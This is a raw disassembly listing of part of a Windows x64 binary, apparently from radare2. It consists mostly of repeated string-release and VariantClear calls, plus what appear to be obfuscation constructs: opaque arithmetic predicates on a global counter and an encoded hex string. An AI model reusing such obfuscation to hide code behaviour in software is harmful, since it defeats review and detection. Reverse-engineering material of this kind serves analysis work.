mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2a0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016c36
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2b0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016c65
mov rdx, qword [rsp + 0x2b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x78]
mov rcx, r13
call fcn.1400179cc
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2c0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016cb3
mov rdx, qword [rsp + 0x2c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2d0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016ce3
mov rdx, qword [rsp + 0x2d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2e0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016d13
mov rdx, qword [rsp + 0x2e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x2f0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016d43
mov rdx, qword [rsp + 0x2f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x300], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016d73
mov rdx, qword [rsp + 0x300]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140016da7
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x140016dda
call fcn.1400be3d8
nop
jmp 0x140017156
mov ecx, 0x80070057
call fcn.140001874
nop
lea rax, [rsp + 0x310]
mov qword [rsp + 0x680], rax
lea rdx, str.123934323a1024253e04213530253404233d0e24233d0e3f300e373e230e242135302534
lea rcx, [rsp + 0x310]
call fcn.140001f6c
nop
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.1400233a4
mov rbx, rax
lea rcx, [0x1401a29a8]
mov rdx, qword [0x1401a29a8]
call qword [rdx + 0x18]
mov qword [rsp + 0x690], rax
lea rcx, [rax + 0x18]
mov qword [rsp + 0xd0], rcx
mov r8, rbx
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x320]
call fcn.14001dacc
nop
mov rdx, rax
mov rcx, r13
call fcn.1400130a8
nop
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x330], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016e9f
mov rdx, qword [rsp + 0x330]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x340], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016ed2
mov rdx, qword [rsp + 0x340]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x360], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016f04
mov rdx, qword [rsp + 0x360]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r9d, dword [0x1401aad80]
lea r10d, [r9 + 1]
mov r8d, r10d
imul r8d, r9d
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
cmp r8d, 4
jne 0x140016fc3
mov ecx, r9d
imul ecx, r9d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, r14d
je 0x140016fac
lea ecx, [r9 + 2]
imul ecx, r10d
imul ecx, r9d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x140016fac
mov rax, qword [str.VgeUj2cBv]
mov qword [rsp + 0x138], rax
movzx eax, word [0x1401393b8]
mov word [rsp + 0x140], ax
mov byte [rsp + 0x138], 0x19
call fcn.1400be2e0
mov ecx, dword [0x1401aad80]
cmp ecx, eax
jne 0x140016fc3
dec ecx
mov dword [0x1401aad80], ecx
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x370], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140016ff3
mov rdx, qword [rsp + 0x370]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x380], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140017023
mov rdx, qword [rsp + 0x380]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x60]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x390], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140017053
mov rdx, qword [rsp + 0x390]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x88]
call fcn.14002f88c
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001723c
nop
cmp qword [rsp + 0x718], 0x10
jb 0x140017087
mov rcx, qword [rsp + 0x700]
call fcn.1400bd904
mov qword [rsp + 0x718], r15
mov qword [rsp + 0x710], rsi
mov byte [rsp + 0x700], sil
lea rax, [rsp + 0x728]
mov rcx, qword [rsp + 0x720]
cmp rcx, rax
je 0x1400170ba
call fcn.1400be3d8
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3a0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400170ea
mov rdx, qword [rsp + 0x3a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3b0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001711a
mov rdx, qword [rsp + 0x3b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x3c0], rcx
mov eax, edi
lock xadd dword [rcx + 0x10], eax
add eax, edi
test eax, eax
jg 0x140017149
mov rdx, qword [rsp + 0x3c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14001720c
mov eax, dword [0x1401aad80]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub r8d, ecx
cmp r8d, 8
jne 0x1400171ad
mov r8d, 0x38
test r8d, r8d
je 0x1400171a3
mov ecx, r8d
mov eax, r14d
cdq
idiv r8d
mov r8d, edx
mov r14d, ecx
test ecx, ecx
jne 0x14001718a
lea eax, [r8 + r14]
mov dword [0x1401aad80], eax
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400171cd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x1400171ed
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
add eax, edi
test eax, eax
jg 0x14001720c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0xc90]
xor rcx, rsp
call fcn.1400bd920
lea r11, [rsp + 0xca0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret